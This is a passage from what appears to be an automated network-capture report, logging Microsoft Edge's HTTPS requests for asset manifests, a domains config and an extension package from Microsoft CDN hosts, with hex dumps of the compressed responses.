2024-11-21 21:09:38 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:38 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:38 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5ce19410-001e-000a-3659-3c718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210938Z-15b8b599d88wn9hhhC1TEBry0g00000000fg0000000060um Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-21 21:09:38 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-21 21:09:38 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-21 21:09:38 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-21 21:09:38 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49807	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:38 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:39 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 21 Nov 2024 04:18:43 GMT ETag: 0x8DD09E3961B864F x-ms-request-id: 871fd69a-a01e-0061-5659-3c2cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210938Z-r1d97b99577hc74hhC1TEBvbns0000000apg00000000s00x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:09:39 UTC	15821	IN	Data Raw: 1f 8b 08 08 a3 b4 3e 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: >gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-21 21:09:39 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49811	152.195.19.97	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:38 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732828174&P2=404&P3=2&P4=KnbEqgNPcUnA8aSdEM0rHz9HBl2U5F1phLr4tg3mXV2FpVBWIZkDhYu%2fpKYLQ9gEElLxwZa1NIsFs6omlOrzLQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: zUE+65jNFo1e5OR/iMqCJ6 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:39 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12149909 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Thu, 21 Nov 2024 21:09:38 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-21 21:09:39 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49812	20.25.227.174	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
